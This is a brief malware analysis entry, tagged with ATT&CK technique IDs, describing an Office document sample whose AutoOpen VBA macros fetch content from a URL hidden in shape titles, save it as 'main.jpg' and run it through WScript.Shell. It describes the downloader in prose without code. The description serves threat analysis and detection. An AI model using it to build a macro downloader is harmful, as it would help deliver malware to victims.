T1059.005 Visual Basic T1105 Ingress Tool Transfer T1204.002 Malicious File

The sample contains VBA macros that are executed via the AutoOpen function. These macros utilize MSXML2.XMLHTTP60 to download content from a URL embedded within the document's shape titles. The downloaded content is then written to a file named 'main.jpg' and executed using WScript.Shell, indicating a downloader functionality. The presence of Shell() and CreateObject calls further supports this malicious behavior.
